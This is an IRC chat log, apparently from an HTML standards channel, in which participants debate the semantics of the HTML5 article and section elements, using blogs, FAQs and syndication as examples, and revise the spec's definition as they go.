There isn't one true heirachy that works for all kinds of content

[03:56:01.0000] <annevk2>
Hixie, heh

[03:56:02.0000] <zcorpan>
people should use divs more, then it'll all make sense

[03:56:03.0000] <Hixie>
most people do :-P

[03:57:00.0000] <zcorpan>
they can always use more

[03:57:01.0000] <Hixie>
if you don't have a <div class="post"> on your blog, then <article> isn't for you

[03:57:02.0000] <adactio>
Don't you think it's going to be a problem that, given a piece of content, one author may choose to mark it up one way (say a <section> with <article>s) and another author chooses to mark it up another way (say <article>s in a <section>) and both would be correct.

[03:57:03.0000] <annevk2>
I understand the distinction, I just don't see the big advantage in having <article>

[03:57:04.0000] <zcorpan>
divs are like violence

[03:57:05.0000] <Hixie>
annevk2: right, because you don't need it. there is no advantage to you.

[03:57:06.0000] <adactio>
Hixie: couldn't the same be said of <acronym> and <abbr>?

[03:58:00.0000] <jgraham_>
adactio: Do you have evidence that in the same situation two different authors would do different things?

[03:58:01.0000] <Hixie>
adactio: i don't think in general that it is a problem for there to be More Than One Way To Do It, but in the case of <section> and <article>, they aren't interchangeable.

[03:58:02.0000] <Hixie>
adactio: i don't see how one author would use <article> where another used <section> in a manner where they are both correct

[03:58:03.0000] <Hixie>
adactio: they have mutually exclusive roles

[03:58:04.0000] <adactio>
jgraham_: no firm evidence but I do have evidence of confusion amongst authors: http://adactio.com/journal/1607/

[03:58:05.0000] <jgraham_>
(but in general I don;t think this is more of a problem here than anywhere else in html)

[03:59:00.0000] <gsnedders>
/me thinks we should just simplify everything by making <plaintext> the only conforming element

[03:59:01.0000] <Hixie>
adactio: that shows confusion over the definitions, which i've since fixed

[03:59:02.0000] <boblet>
adactio: that’s due more to the description though isn’t it?

[03:59:03.0000] <jgraham_>
adactio: That was a very nice study but it showed something totally different

[04:00:00.0000] <boblet>
for me a chunk of related content vs a chunk of related content _that can stand alone_ (eg in an RSS feed) is clear

[04:01:00.0000] <boblet>
/me needs to check what Hixie changed it to though

[04:01:01.0000] <Lachy>
Hixie, while it would be wrong to use <article> where <section> is appropriate, using <section> where <article> could be used, isn't that bad.

[04:01:02.0000] <beowulf>
gsnedders: i agree! though i suggested one for inline and one for block...

[04:01:03.0000] <Hixie>
Lachy: yeah, i guess i buy that

[04:02:00.0000] <Lachy>
Hixie, fwiw, in my article that I'm writing about sectioning, I start by teaching authors how to use <section> appropriately, to get the right outline, and then move on to replacing <section> elements with more specialised sectioning elements

[04:03:00.0000] <Hixie>
sensible

[04:03:01.0000] <Hixie>
lachy: though make sure you use <div> in the first bit also, e.g. around the header and footer, to show that <section> isn't just the new <div>

[04:03:02.0000] <zcorpan>
-  where glyphs like &#31169; and &#36948; are anchored, and the bottom

[04:03:03.0000] <zcorpan>
+  where glyphs like &#31169; and &amp;#x9054; are anchored, and the bottom

[04:04:00.0000] <zcorpan>
Hixie: what happened there?

[04:04:01.0000] <Lachy>
Hixie, I'll show you what I've got so far

[04:04:02.0000] <Lachy>
one sec...

[04:04:03.0000] <boblet>
Hixie: new descriptions are clear for ppl who understand the distinction, but could each use a sentence describing the difference (similar to the one in <section> about diffs with <div>

[04:06:00.0000] <Lachy>
Hixie, and anyone else who wants to take a look http://lachy.id.au/temp/article/ - keep in mind, it's a work in progress

[04:07:00.0000] <Hixie>
boblet: yeah, good point. could you file a bug about that? (just copy the above into the input box on the spec)

[04:07:01.0000] <Hixie>
zcorpan: oops. will fix in a sec.

[04:08:00.0000] <Philip`>
gsnedders: Making only the <plaintext> element conforming would be no good, because of the implied <html>/<head>/<body> elements when you use it

[04:08:01.0000] <Hixie>
zcorpan: (probably over-eager search/replace)

[04:08:02.0000] <adactio>
Here are four pieces of markup: http://pastebin.com/d4501b0f1 Are any of them wrong?

[04:08:03.0000] <Hixie>
Lachy: encoding issues with that

[04:09:00.0000] <boblet>
Hixie: sure

[04:10:00.0000] <Hixie>
adactio: the first would make sense if you were writing a blog called DOM scripting and had it on a page that had lots of other things on it, like a portal might

[04:10:01.0000] <annevk2>
adactio, pretty sure it depends on "intent"...

[04:10:02.0000] <Hixie>
adactio: the second makes sense if you wrote a single blog post called "DOM Scripting" which had two subsections

[04:10:03.0000] <Hixie>
adactio: the third makes sense if you're writing a book and have a chapter called "DOM Scripting" which has two subsections

[04:11:00.0000] <Lachy>
Hixie, fixed it

[04:11:01.0000] <Hixie>
adactio: the fourth makes sense if you wrote a blog post "DOM Scripting" and two people had posted blog comments on it, called "JavaScript" and "The DOM"

[04:11:02.0000] <boblet>
Hixie: I don’t know if you want to go this far but check “New sectioning elements in a nutshell” list here: http://boblet.tumblr.com/post/141239118/html5-structure4

[04:11:03.0000] <boblet>
(will add that link to report)

[04:11:04.0000] <zcorpan>
Lachy: from not reading the article very carefully and looking at the examples, i get the impression that i should replace all my divs with section

[04:11:05.0000] <Lachy>
it seems my text editor didn't have the default set to UTF-8 on that computer

[04:11:06.0000] <Hixie>
boblet: thanks, i'll take a closer look when addressing the bug

[04:12:00.0000] <Hixie>
Lachy: works now. reading...

[04:12:01.0000] <Lachy>
zcorpan, yeah, I still need to address that issue.

[04:12:02.0000] <Lachy>
That's will be part of the subsection currently titled *Wrappers* (though it may be renamed to something better)

[04:12:03.0000] <Hixie>
Lachy: "h1 for second level headings" should be h2

[04:12:04.0000] <Lachy>
oops

[04:12:05.0000] <zcorpan>
Lachy: hint: never say what people should not do, only tell them what they should do

[04:12:06.0000] <adactio>
Hixie: so the use cases are relatively clear as long as you're writing a blog or a book. For anything else (say, a web page on a web site) you get doubt and uncertainty.

[04:13:00.0000] <boblet>
I think that makes the difference clear in author-comprehendible language

[04:14:00.0000] <Lachy>
zcorpan, I disagree. It's appropriate to place limits on how far they should go after telling them everything they should do

[04:14:01.0000] <Hixie>
adactio: why?

[04:14:02.0000] <Lachy>
but, I do need to rephrase that last section

[04:14:03.0000] <zcorpan>
Lachy: telling them to place limits is telling what to do :)

[04:14:04.0000] <Hixie>
adactio: do you have an example of a page on which you're not sure what should be an article and what should be a section?

[04:14:05.0000] <adactio>
Hixie: because the explanations you gave rely on the author either writing a blog or a book.

[04:15:00.0000] <workmad3>
human nature is to do something once you've been told you shouldn't (e.g. touching something with a 'wet paint' sign on it)

[04:15:01.0000] <boblet>
Lachy: btw +1 for starting with section then changing to article. I’d add div to the list though ;-)

[04:16:00.0000] <Hixie>
Lachy: i think you need to make it clear at "And then repeat the process with all other similar div elements" that that doesn't mean all <div> elements, only those with headings

[04:16:01.0000] <Hixie>
adactio: those were just examples to try to convey the difference

[04:16:02.0000] <Hixie>
adactio: they weren't the only possible situations in which you'd write such markup, just the clearest examples i could think of

[04:16:03.0000] <adactio>
Hixie: but I have yet to the difference conveyed without relying on the *specific* examples of blog posts.

[04:17:00.0000] <Hixie>
adactio: oh you want me to describe the difference in abstract terms?

[04:17:01.0000] <jgraham_>
/me has frequently used newspaper articles

[04:17:02.0000] <Hixie>
adactio: sorry, i thought you wanted examples because the spec already does the abstract terms thing so i figured examples were the way to explain it :-)

[04:17:03.0000] <adactio>
Hixie: well, that's what the spec currently attempts to do and IMHO doesn't succeed.

[04:18:00.0000] <jgraham_>
adactio: It seems like a reasonable litmus test is "could this be an independent item in an aggregator"

[04:18:01.0000] <Hixie>
adactio: in abstract terms, "section" is any block of content that forms one unit, and "article" is any block of content that forms one self-contained unit.

[04:19:00.0000] <adactio>
Hixie: so the difference is between "one unit" and "one self-contained unit".

[04:19:01.0000] <adactio>
They sound *very* close in meaning.

[04:19:02.0000] <Dashiva>
A section is part of a whole, an article is a whole.

[04:19:03.0000] <Hixie>
adactio: yes, "article", "nav" and "aside" are subsets of "section"

[04:20:00.0000] <adactio>
Dashiva: but an <article> can also be part of a bigger whole (e.g. comments on a blog).

[04:20:01.0000] <Hixie>
adactio: "aside" is any block of content that forms one unit related but separate from its container

[04:20:02.0000] <workmad3>
Dashiva: I see it the other way around... a section is a whole, but it can be split up, an article can't reasonably be split up

[04:20:03.0000] <Hixie>
adactio: "nav" is any block of content that forms one unit about navigation

[04:20:04.0000] <Dashiva>
adactio: But it's still a unit in itself in that case

[04:21:00.0000] <adactio>
workmad3: but you can nest articles within articles so the containing article can therefore be split up.

[04:21:01.0000] <adactio>
Dashiva: but is it self-contained?

[04:21:02.0000] <Hixie>
adactio: (though in general usage, i would recommend using <section> only when the others don't apply, e.g. as you would use <em> instead of <i>, since it makes styling easier)

[04:21:03.0000] <Hixie>
(i mean, there's nothing _wrong_ with using <i> everywhere you want italics, it's just easier to style if you use <em>, <cite>, <var> etc in preference to <i>)

[04:22:00.0000] <Dashiva>
adactio: It is if it is

[04:22:01.0000] <Hixie>
(where appropriate)

[04:22:02.0000] <workmad3>
adactio, would the contained articles necesarilly make sense without the container though?

[04:22:03.0000] <Dashiva>
That's the point of the element, isn't it? If it's self-contained it's an article, otherwise it isn't. Makes little sense to talk about non-self-contained articles

[04:22:04.0000] <adactio>
workmad3: blog comments. The spec recommends wrapping them in <article>. Do they stand alone without the containing article (i.e. the blog post).

[04:22:05.0000] <Hixie>
adactio: nested articles aren't really part of their container, they're just "attached" to their container. blog comments aren't part of the blog post, they're just attached to the blog post.

[04:22:06.0000] <jgraham_>
adactio: http://intertwingly.net/blog/comments.html

[04:22:07.0000] <zcorpan>
Hixie: then the spec shouldn't say i should only be used as a last resort

[04:23:00.0000] <zcorpan>
Hixie: and div and b

[04:23:01.0000] <jgraham_>
suggests that people are happy with comments as self-contained units

[04:23:02.0000] <adactio>
Hixie: then is a blog comment really "a self-contained unit" or is it really "a unit"?

[04:23:03.0000] <Hixie>
adactio: the spec says a blog comment is an example of a self-contained unit

[04:23:04.0000] <adactio>
jgraham_: really? you think a blog comment makes sense out of context?

[04:24:00.0000] <adactio>
Hixie: yes, I know that the spec says that. I'm questioning the veracity of it

[04:24:01.0000] <Hixie>
another way of looking at it would be this:

[04:24:02.0000] <Hixie>
<Article> makes sense for anything you'd give a permalink to

[04:24:03.0000] <Hixie>
though i guess some people go crazy and permalink every paragraph

[04:25:00.0000] <adactio>
Hixie: e.g. http://www.tbray.org/ongoing/When/200x/2009/09/14/Copyright-Consultation

[04:25:01.0000] <Dashiva>
A stable link isn't necessarily a permalink

[04:25:02.0000] <jgraham_>
adactio: I'm suggesting that people already extract comments fom their original context

[04:25:03.0000] <jgraham_>
http://firehose.diveintomark.org/

[04:26:00.0000] <Hixie>
adactio: yeah that page is a good example. The things with [link]s are <article>s, the things with the pilcrows are paragraphs.

[04:26:01.0000] <Hixie>
adactio: (and the whole page of course has an implied [link] which isn't shown since it would just point to itself)

[04:26:02.0000] <adactio>
So when an author needs to decide between using <section> and using <article>, they need to decide if the content is "a unit" or "a self-contained unit". Sounds an awful lot like arguing about what the definition of is is.

[04:27:00.0000] <Hixie>
adactio: they have to make the same choice when deciding what to syndicate

[04:27:01.0000] <Hixie>
adactio: do you syndicate subsections of your blog posts?

[04:27:02.0000] <Lachy>
Hixie, yeah, I was trying to find a way to say that, while still making authors think about it for themselves, rather than just spoon feeding them the answer to everything

[04:27:03.0000] <adactio>
Whatever decision an author makes, it will be "true" in a Kenobian sense i.e. "from a certain point of view".

[04:27:04.0000] <adactio>
Hixie: is there any way to talk about <article> vs. <section> without it always coming back to blogs?

[04:28:00.0000] <workmad3>
I'm personally would probably avoid nesting <article> in <article>... and a blog post with comments as articles I'd probably wrap the entire thing up in a section so there wasn't any article nesting

[04:28:01.0000] <jgraham_>
http://www.zeldman.com/comments/feed/

[04:28:02.0000] <workmad3>
s/I'm/I

[04:28:03.0000] <jgraham_>
/me will stop now

[04:29:00.0000] <Hixie>
Lachy: (also, as a style note, i wouldn't say "there's also X, we'll look at this later", since without that sentence the reader doesn't know X exists, and telling him it does doesn't really help at that point; if it did you'd explain it then, not later.)

[04:29:01.0000] <Hixie>
adactio: not only blogs are syndicated

[04:29:02.0000] <Lachy>
Hixie, but, with the use of the outliner tool, I'm hoping authors will check their results and see their mistakes if they do naively change all divs to sections

[04:29:03.0000] <Hixie>
adactio: consider reddit, say. Comments are <article>s

[04:29:04.0000] <Hixie>
adactio: or a forum. each post is an <article>.

[04:30:00.0000] <Hixie>
adactio: i just like talking about concrete things because then it's easier for me to work out what we're talking about

[04:30:01.0000] <Hixie>
Lachy: hopefully!

[04:30:02.0000] <adactio>
But on a news site, a list of articles (containing the headline, and one line of text with a link to the complete article) isn't an <article> because it isn't self-contained.

[04:31:00.0000] <Hixie>
yeah, it's probably a <nav> or a <section>

[04:31:01.0000] <adactio>
Hixie: and yet, many news sites syndicate their content in an RSS feed of items with the headline, one line of text, and a link to the complete article.

[04:31:02.0000] <Hixie>
on cnn.com the "Yale worker" part could be an <article> (albeit an incomplete one), the Latest News would be a <section> or <nav>

[04:32:00.0000] <workmad3>
adactio, articles are items that could be syndicated but that doesn't mean that the complete article is what appears in the syndication (unless I'm missing something somewhere)

[04:32:01.0000] <Hixie>
adactio: the "Video: island ferry", "Voice chat on Facebook", "Talking about depression" bits would probably deserve <article>s

[04:32:02.0000] <Hixie>
adactio: which i believe matches what you say their feed might contain

[04:33:00.0000] <Hixie>
adactio: clearly when people syndicate the equivalent of a one-line <li>, it might be a bit heavy-duty to use an <article> for it

[04:33:01.0000] <adactio>
Hixie: but their list of articles (titles and links) also matches what their feed might contain.

[04:34:00.0000] <Hixie>
adactio: yeah, such near-useless feeds aren't a good match for what html5 is trying to describe

[04:34:01.0000] <workmad3>
but it isn't a list of articles. It's a list of links to articles

[04:34:02.0000] <adactio>
workmad3: that describes many RSS feeds.

[04:35:00.0000] <workmad3>
yup

[04:36:00.0000] <Hixie>
<article>s are for wrapping content. obviously something that is syndicated without content (such as a single link) doesn't match <article>.

[04:36:01.0000] <Hixie>
I'm not saying everything that is syndicated is an <article>, I'm saying that sections that are syndicated are <article>s

[04:36:02.0000] <Hixie>
does that make sense?

[04:38:00.0000] <adactio>
Hixie: it does make sense but it is *very* hard to explain ...which worries me.

[04:38:01.0000] <Hixie>
i really don't understand why it's hard to explain

[04:38:02.0000] <Hixie>
it seems pretty obvious to me

[04:38:03.0000] <adactio>
Some uses are clear (e.g. blog posts), some are much fuzzier (e.g. an FAQ Q&A).

[04:39:00.0000] <Hixie>
a FAQ Q&A?

[04:39:01.0000] <Hixie>
what are you syndicating in a FAQ Q&A?

[04:40:00.0000] <adactio>
Hixie: I would permalink it. It stands alone.

[04:40:01.0000] <Hixie>
zcorpan: I can't find the &amp; think you mentioned.

[04:40:02.0000] <workmad3>
I think I see adactio's point... it's possible to explain it (and some people have a good clear picture in their head of the differences) but a lot of the potential audience for HTML5 aren't going to care about the 5 page document describing exactly what it is and want a one-line explanation that makes sense

[04:40:03.0000] <adactio>
Hixie: e.g. http://clearleft.com/does/speak/

[04:41:00.0000] <Hixie>
adactio: when in doubt, don't use <article>

[04:41:01.0000] <Hixie>
adactio: the permalink thing was a bad guideline, i think

[04:41:02.0000] <adactio>
workmad3: Right. Most HTML elements can be explained pretty simply. <article> can be explained, but not pretty simply.

[04:41:03.0000] <Hixie>
i think the one line answer is "Use <article> instead of <section> if you would syndicate it."

[04:41:04.0000] <adactio>
Hixie: but on that page, I would mark up those three questions as articles (regardless of permalink) as they seem to satisfy the standalone criteria.

[04:42:00.0000] <workmad3>
in a way, the name is a bit too specific for a general concept... people have a certain idea in their head of what an article is

[04:42:01.0000] <adactio>
Hixie: that "instead of <section>" part is IMHO crucial and should appear in both parts of the spec (section and article).

[04:43:00.0000] <jgraham_>
adactio: THose are pretty clearly <section>s I think. The bits under it describing the conferences could be <article>s though

[04:43:01.0000] <adactio>
jgraham_: they may be <section>s but I don't think they're "pretty clearly" <section>s.

[04:43:02.0000] <beowulf>
explaining article is not the difficult part, is it? I thought the difficult part was deciding if your content should use it, and that difficulty exists with a lot of content types, no?

[04:44:00.0000] <Hixie>
adactio: i removed mention of sections in the <Article> section because i think it's what led to the confusion in your study

[04:44:01.0000] <jgraham_>
adactio: I can't work out how an individual entry in a Q&A could be regarded as an <article>

[04:45:00.0000] <adactio>
Hixie: but I don't think it's possible to talk about one without mentioning the other ...precisely because their semantics are so close (the difference between them is a subjective decision on what qualifies as "standalone").

[04:45:01.0000] <workmad3>
jgraham_: how about in a QA column on a newspaper site? Would the question followed by the answer be an article?

[04:45:02.0000] <adactio>
jgraham: it stands alone.

[04:46:00.0000] <Hixie>
i've added a note to both the <section> and <article> sections

[04:46:01.0000] <adactio>
Here's an example of an article i.e. syndicated content (with a permalink): http://twitter.com/Hixie/status/3994558789 but it makes no sense out of context (much like a comment on a blog post).

[04:47:00.0000] <jgraham_>
adactio: I think I must be misunderstanding what you are talking about. Maybe you mean the whole Q&A section, rather than the individual questions?

[04:47:01.0000] <Hixie>
adactio: someone clearly thought it made sense out of context, otherwise it wouldn't be shown on a page of its own

[04:48:00.0000] <adactio>
jgraham_: no, I mean a question and an answer. The question is the header. Together, they form a standalone piece of content.

[04:48:01.0000] <workmad3>
it's a 'word of wisdow' sort of thing... context is required but feel free to supply your own ;)

[04:48:02.0000] <workmad3>
*wisdom

[04:48:03.0000] <adactio>
Hixie: right, so it's all down to interpretation which can vary wildly.

[04:48:04.0000] <Hixie>
welcome to html

[04:49:00.0000] <Hixie>
what in html _isn't_ down to interpretation?

[04:49:01.0000] <Hixie>
people argue about whether things are lists or not

[04:49:02.0000] <adactio>
jgraham_: here is an FAQ Q&A, complete with permalink: http://wiki.whatwg.org/wiki/FAQ#How_does_the_WHATWG_work.3F

[04:49:03.0000] <Hixie>
doesn't mean the spec is wrong to have an <ol> element :-)

[04:49:04.0000] <adactio>
Hixie: yes, but we don't want to maximise those areas of confusion, do we?

[04:49:05.0000] <jgraham_>
adactio: In your example the questions don't make sense without the other questions! 

[04:49:06.0000] <adactio>
jgraham_: nonsense, it stands alone.

[04:50:00.0000] <jgraham_>
adactio: "But wait, I had a particular person in mind!"

[04:50:01.0000] <jgraham_>
That makes no sense without the previous question

[04:50:02.0000] <adactio>
jgraham_: not that, this example: http://wiki.whatwg.org/wiki/FAQ#How_does_the_WHATWG_work.3F

[04:50:03.0000] <Hixie>
adactio: we're not maximising the area of confusion, the spec is incredibly detailed and has more examples and notes and explanatory text than a school textbook

[04:50:04.0000] <da3d>
adactio: FAQs often contain questions that reference earlier questions in the FAQ, or follow-up questions...

[04:50:05.0000] <adactio>
da3d: http://wiki.whatwg.org/wiki/FAQ#How_does_the_WHATWG_work.3F

[04:50:06.0000] <annevk2>
adactio, not all FAQ entries there are standalone, e.g. some say "Also see HTML5 feature proposals below."

[04:50:07.0000] <adactio>
da3d: so do blog comments.

[04:51:00.0000] <annevk2>
fair point

[04:51:01.0000] <adactio>
annevk2: not blog comments are standalone.

[04:51:02.0000] <adactio>
Not all syndicated content is standalone e.g. twitter messages.

[04:51:03.0000] <jgraham_>
adactio: I would just use <section> for a FAQ. I regard it as a single entity that has been divided into sections, in the same way that a thesis is, even though various parts may work on their own

[04:52:00.0000] <adactio>
jgraham_: and I might use <article>. And you'd be right. And I'd be right.

[04:52:01.0000] <da3d>
adactio: well, I wouldn't really mark up blog comments as a bunch of <article>s :p

[04:52:02.0000] <adactio>
da3d: that's what the spec says you should do.

[04:52:03.0000] <workmad3>
it's an example that the spec suggests though

[04:52:04.0000] <annevk2>
da3d, that's what HTML5 says

[04:53:00.0000] <adactio>
The prosecution rests.

[04:53:01.0000] <workmad3>
I'd also disagree with it, but there isn't really a suitable alternative

[04:53:02.0000] <Hixie>
adactio: i don't see any way to consider a section of the whatwg faq as an article

[04:53:03.0000] <da3d>
I don't agree with everything the spec says :)

[04:53:04.0000] <workmad3>
at least not a suitable alternative with semantic meaning :)

[04:53:05.0000] <Hixie>
adactio: you might as well say a random paragraph is a standalone section because it happens to be a paragraph you can copy and paste separately

[04:53:06.0000] <adactio>
Hixie: it satisfies the criteria of being a standalone piece of content that would be given a permalink.

[04:54:00.0000] <Hixie>
adactio: the spec doesn't mention permalinks

[04:54:01.0000] <Hixie>
and i've already said permalinks are a bad guideline

[04:54:02.0000] <adactio>
Hixie: If the paragraph stands alone, then it *could* be an <article>. It all depends on the content ...on whether it's "a unit" or "a standalone unit"

[04:56:00.0000] <adactio>
So when I think I've found a non-blog use case that satisfies the criteria of <article> ( http://wiki.whatwg.org/wiki/FAQ#How_does_the_WHATWG_work.3F ), my interpretation is shaky. I think this will be true of a any non-blog usage.

[04:57:00.0000] <Hixie>
/me rewrites the definition of <article> in the spec based on this discussion

[04:57:01.0000] <Hixie>
hold on

[04:57:02.0000] <da3d>
For that FAQ, I'd make the entire FAQ an <article> and use <section> for each subsection of it...

[04:57:03.0000] <Hixie>
da3d: that'd be right

[04:58:00.0000] <annevk2>
/me would use a <dl> for the entire thing

[04:58:01.0000] <workmad3>
/me would make the entire thing out of <div>s just for fun

[04:58:02.0000] <annevk2>
way too many bytes with <article> and <section> :p

[04:59:00.0000] <adactio>
How does the FAQ example I've given not satisfy the criteria of being an article? "a self-contained composition that forms an independent part of a document, page, application, or site." "An article element is "independent" in the sense that its contents could stand alone"

[04:59:01.0000] <da3d>
What, 1 article and 8 sections is too much? :p

[04:59:02.0000] <Hixie>
adactio: hold on, i'm rewriting it

[04:59:03.0000] <Hixie>
ok, new definition:

[05:00:00.0000] <Hixie>
The article element represents a component of a page that consists of a self-contained composition that forms an independent part of a document, page, application, or site and that is intended to be independently distributable or reusable, e.g. in syndication. This could be a forum post, a magazine or newspaper article, a Web log entry, a user-submitted comment, an interactive widget or gadget, or any other independent item of content.

[05:01:00.0000] <adactio>
So that still satisfies this use case: http://wiki.whatwg.org/wiki/FAQ#How_does_the_WHATWG_work.3F

[05:01:01.0000] <Hixie>
i should add a usage summary section to the section section like i have on the phrasing elements section

[05:01:02.0000] <Hixie>
adactio: that question is not intended to be independently distributable or reusable, e.g. in syndication.

[05:01:03.0000] <Hixie>
it's not even got it's own page

[05:02:00.0000] <adactio>
Hixie: many blog posts don't have their own page (they have permalinks on a larger page). Besides, the spec doesn't say an article needs its own *page* (it doesn't even say an article needs its own URL).

[05:02:01.0000] <Hixie>
adactio: sure. but the point is that question is not intended to be independently distributable or reusable, e.g. in syndication.

[05:03:00.0000] <workmad3>
Hixie: an article is something that could conceivably have it's own page then?

[05:03:01.0000] <adactio>
So is the time-senstive nature of the content the crucial deciding factor when marking something up as an article?

[05:03:02.0000] <adactio>
And why wouldn't you provide an RSS feed of FAQs?

[05:03:03.0000] <Hixie>
workmad3: while it is often conceivable that an article would have its own page, that isn't part of the definition.

[05:04:00.0000] <workmad3>
just trying to get the new definition straight in my mind ;)

[05:04:01.0000] <Hixie>
adactio: i don't see anything about time-sensitiveness in the definition, so no, it is not a deciding factor.

[05:05:00.0000] <workmad3>
adactio, I think now if you fancy syndicating your FAQ then go ahead and articleise it too :)

[05:05:01.0000] <adactio>
Hixie: Then the deciding factor is "would I distribute this?" You wouldn't distribute an FAQ. I would. You're right. I'm right.

[05:05:02.0000] <Hixie>
adactio: if you felt like you should syndicate your questions, then sure, go ahead and use <article> for them. :-)

[05:05:03.0000] <Hixie>
adactio: i wouldn't independently distribute each question of the WHATWG FAQ

[05:06:00.0000] <Hixie>
adactio: i think the questions that are on Google's help page are <article>s, because they _are_ independently distributed.

[05:06:01.0000] <Hixie>
adactio: so it's not "should FAQs use <article>" but "should this FAQ use <article>"

[05:06:02.0000] <adactio>
Hixie: then the criteria is not "*would* I distribute this?", it's "*am* I distributing this?"

[05:06:03.0000] <Hixie>
adactio: just like it's not "should FAQs use RSS" but "should this FAQ use RSS"

[05:06:04.0000] <Hixie>
adactio: no, i think "would" is accurate here

[05:07:00.0000] <da3d>
I don't see how syndicating something in a feed necessarily leads to the conclusion that it should be an <article>.

[05:07:01.0000] <workmad3>
I think the new definition matches my mental model of an article at least (in terms of printed articles anyway)... an FAQ in it's entirety probably should be an article (it's standalone, it's intended for dissemination in such a form, etc) but the individual questions aren't really something most people would pull out and disseminate on their own

[05:08:00.0000] <workmad3>
even if you were pointing someone to a particular question, you'd tend to give them a link to the FAQ and then point them to a specific question in it (at least that's how I tend to use them)

[05:09:00.0000] <adactio>
Okay. It looks like the definition of <article> maps 100% to the hAtom microformat, so this list of hAtom examples should serve as a list of things that should be marked up as <article>s: http://microformats.org/wiki/hatom-examples-in-wild

[05:09:01.0000] <remysharp>
that new definition also includes "interactive widgets" which wouldn't typically constitute "content" - which seems confusing

[05:10:00.0000] <Hixie>
remysharp: an example of that would be the widgets on an iGoogle page -- they're <article>s, in that it makes sense to distribute them separately independent of each other

[05:11:00.0000] <remysharp>
but article in both the spec and the typical sense of the word, implies actual content - 

[05:11:01.0000] <remysharp>
which is why including interactive widgets throws me off when I read that definition

[05:11:02.0000] <Hixie>
what do you mean by "Content"?

[05:11:03.0000] <Hixie>
is an e-mail widget not content?

[05:12:00.0000] <remysharp>
what's an email widget - off the top of my head, something that emails something to someone

[05:12:01.0000] <remysharp>
so no, I don't see that as content

[05:12:02.0000] <Hixie>
is GMail "content"?

[05:12:03.0000] <remysharp>
application

[05:12:04.0000] <Hixie>
HTML5 doesn't draw a distinction

[05:12:05.0000] <remysharp>
the email itself is the content

[05:12:06.0000] <Hixie>
is Amazon content?

[05:12:07.0000] <remysharp>
web site

[05:12:08.0000] <Hixie>
is the Google home page content? Is the search results page content?

[05:12:09.0000] <remysharp>
the reviews have content

[05:12:10.0000] <Hixie>
these are all "content" in the HTML5 sense

[05:13:00.0000] <Hixie>
"document" and "application" are the same thing, and are both "content"

[05:14:00.0000] <remysharp>
I'm coming from the layman/dev point of view, when I read your definition above, it's clear how I use article, up to the point in which interactive stuff is added. Content to me, your average joe author, is stuff I can read or interpret (images, etc) (prob not the best definition in the world, but you'll forgive me)

[05:15:00.0000] <Hixie>
not sure what i can do about that

[05:15:01.0000] <Hixie>
it's why i included the explicit mention of widgets

[05:16:00.0000] <adactio>
Content is stuff that's likely to be syndicated. Applications aren't, though they can be reused ...which is also mentioned in the spec for <article> ...but that does mean the question "would I syndicate this?" isn't enough of a criteria in deciding when to use <article>.

[05:17:00.0000] <adactio>
I wouldn't put a widget in an RSS feed ...that would be as crazy as putting FAQs in an RSS feed. ;-)

[05:17:01.0000] <Hixie>
right, that's why i said "distibuted or reused"

[05:17:02.0000] <Lachy>
syndication isn't a criteria. It's an example of something it could be used for, for a subset of the possible use cases

[05:17:03.0000] <remysharp>
equally I would never imagine to put a advanced form search in an article element either.

[05:20:00.0000] <adactio>
Then if the criteria is merely "reuse" rather than "syndication", anything that could be quoted in another context (e.g. on someone's blog) could be an article. And so, every paragraph on Tim Bray's blog could indeed be an <article>. Every paragraph can be reused.

[05:20:01.0000] <Hixie>
what word would be better?

[05:21:00.0000] <Hixie>
assuming you do understand what i actually mean it to say

[05:21:01.0000] <da3d>
Quotes aren't really stand-alone content imo

[05:22:00.0000] <adactio>
I'm suggesting that criteria of potential reuse isn't a strong enough reason to have a separate element. An <article> is, to all intents and purposes, a <section>.

[05:22:01.0000] <adactio>
da3d: the crucial part there being "imo"

[05:23:00.0000] <Hixie>
there are several use cases here, but i definitely think they justify having an element separate from <section>

[05:23:01.0000] <Hixie>
primarily:

[05:23:02.0000] <Hixie>
replacing <div class="post"> so that you don't need to use classes for marking up blog posts

[05:23:03.0000] <Hixie>
enabling trivial conversion of html to atom for syndication

[05:24:00.0000] <Hixie>
and making it easier to navigate a page that has multiple articles when using accessibility tools

[05:25:00.0000] <adactio>
Every one of those use cases could be solved with <section> (for the conversion for syndication, the current usage of <time @pupdate> would need to be be moved from <article> to <section>).

[05:25:01.0000] <Hixie>
how could you distinguish a subsection from a blog post?

[05:25:02.0000] <jgraham_>
adactio: How would you decide which <section>s are different <atom:entry>s

[05:25:03.0000] <da3d>
adactio: "imo" is just pure redundancy, actually :)

[05:26:00.0000] <adactio>
Hixie: the presence of <time @pubdate>

[05:26:01.0000] <adactio>
jgraham_: using <time @pubdate>

[05:27:00.0000] <Hixie>
adactio: how exactly do you select a <section> from CSS based on it containing a <time>?

[05:27:01.0000] <Hixie>
adactio: and what if there is no pubdate, or if the pubdate is only mentioned in a subsection?

[05:27:02.0000] <Lachy>
adactio, quotes aren't independent pieces of content. They are fragments of the whole (ignoring the rare case where something is quoted in its entirety)

[05:27:03.0000] <adactio>
Hixie: none of your use cases mentioned styling.

[05:28:00.0000] <adactio>
Hixie: if there is no pubdate, would it be distributed?

[05:28:01.0000] <jgraham_>
FWIW I think the "but a quote is reuse" argument is very weak

[05:28:02.0000] <Hixie>
adactio: "replacing <div class="post"> so that you don't need to use classes for marking up blog posts"

[05:28:03.0000] <adactio>
Lachy: IYHO.

[05:28:04.0000] <adactio>
Hixie: <section>

[05:28:05.0000] <Hixie>
adactio: FAQs don't have pubdates, and you said they could be distibuted

[05:28:06.0000] <Hixie>
adactio: how do i style my blog post separate from the subsections of my blog post?

[05:28:07.0000] <adactio>
Hixie: and you said they shouldn't.

[05:29:00.0000] <Hixie>
adactio: no, i said i wouldn't

[05:29:01.0000] <Hixie>
adactio: but that it would be fine to do so

[05:29:02.0000] <adactio>
Hixie: so is the issue of styling the crucial question here, rather than the three use cases you mentioned?

[05:29:03.0000] <Lachy>
picking the presence of absense of any particular markup, such as a pubdate, as a criteria for using <article> is a bad idea

[05:29:04.0000] <Hixie>
adactio: the first use case i mentioned is all about styling

[05:29:05.0000] <jgraham_>
(actually Hixie gave an example of where they would be)

[05:30:00.0000] <adactio>
Hixie: no, the first use case you gave was semantic demarcation. Unless you were conflating usage of the class attribute with CSS class selectors.

[05:31:00.0000] <Hixie>
adactio: ok, replace the first use case with "replacing <div class="post"> so that you don't need to use classes for styling blog posts"

[05:31:01.0000] <Hixie>
i should not have said "marking up"

[05:32:00.0000] <adactio>
IF an <article> is a specialised kind of <section> AND some mechanism is required to indicate "this content could be distributed" AND some mechanism is required to style articles differently THEN why not use an @article attribute on a <summary> element?

[05:32:01.0000] <Lachy>
